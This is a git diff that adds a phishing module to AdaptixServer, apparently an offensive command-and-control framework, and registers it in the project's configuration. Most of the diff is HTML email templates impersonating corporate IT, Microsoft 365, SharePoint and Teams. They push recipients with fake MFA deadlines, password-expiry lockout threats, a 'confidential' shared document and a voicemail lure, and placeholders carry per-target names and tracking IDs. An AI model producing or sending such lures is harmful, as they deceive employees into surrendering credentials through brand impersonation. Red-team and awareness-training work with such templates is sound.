+Start MFA Enrollment +
+ + + + +
+

Why is this important?

+

MFA adds an extra layer of protection to your account. Even if your password is compromised, unauthorized access is prevented without your second factor.

+
+ +

Employees who do not complete enrollment by the deadline may experience limited access to company resources.

+
+

{{.Company}} IT Department • Microsoft 365 Administration

+

This email was sent to {{.Email}}. Do not reply to this email.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/password_expiry.html b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html new file mode 100644 index 000000000..bcddf2fd4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html @@ -0,0 +1,61 @@ + + + + + + + + + +
+ + + + + + + + + + + + + + +
+ + + +
IT SecurityAction Required
+
+ + + +
Password Expiration Notice — Your password will expire in 24 hours.
+
+

Hello {{.FirstName}},

+ +

Our records indicate that your account password for {{.Email}} is scheduled to expire within the next 24 hours. To avoid any disruption to your access, please update your password immediately.

+ +

What happens if you don't act:

+
    +
  • You will be locked out of email, VPN, and internal systems
  • +
  • Active sessions will be terminated
  • +
  • You will need to contact IT support to regain access
  • +
+ + + +
+Update Password Now +
+ +

This link will expire in 24 hours for security purposes.

+

If you did not request this change, please contact IT support immediately.

+
+

This is an automated message from {{.Company}} IT Security.

+

Please do not reply to this email. Ref: SEC-{{.TrackingID}}

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/shared_document.html b/AdaptixServer/extenders/phishing_service/templates/shared_document.html new file mode 100644 index 000000000..435aa13a5 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/shared_document.html @@ -0,0 +1,64 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
+S +SharePoint +Online
+
+

Document Shared

+ +

{{.SenderName}} shared a file with you

+ + + + +
+ + + +
+
W
+
+

Q3 Financial Report - Confidential.docx

+

Modified {{.SenderName}} • 245 KB

+
+
+ +

{{.FirstName}}, please review this document at your earliest convenience and provide your feedback.

+ + + +
+Open Document +
+ +

You can also access this document from your SharePoint Online portal.

+
+

Microsoft SharePoint • You're receiving this because {{.Email}} has access to this document.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html new file mode 100644 index 000000000..9b75ace9e --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html @@ -0,0 +1,72 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
Microsoft TeamsVoicemail
+
+

📞 You have a new voicemail

+ +

Hi {{.FirstName}},

+ +

You received a voicemail from an external caller. The message has been transcribed and is available for review.

+ + + + + +
+ + + + + +
+
?
+
+

Unknown Caller

+

+1 (555) 012-3456

+

Duration: 0:47 • Today at 2:34 PM

+
+
+

"Hi {{.FirstName}}, this is regarding your recent inquiry. I have some important information to share with you. Please call me back or review the details I've sent. Thank you."

+
+ + + + + + +
+▶ Play Voicemail + +View in Teams +
+ +

This message was delivered to {{.Email}} via Microsoft Teams.

+
+

Microsoft Teams • {{.Company}} • Manage notifications

+
+
+ + diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 9ac15ecb9..127ea2b44 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -9,4 +9,5 @@ use ( ./extenders/beacon_listener_tcp ./extenders/gopher_agent ./extenders/gopher_listener_tcp + ./extenders/phishing_service ) diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index d303f7124..26b79030a 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -17,6 +17,7 @@ Teamserver: - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml" + - "extenders/phishing_service/config.yaml" axscripts: # - "Extension-Kit/extension-kit.axs" access_token_live_hours: 12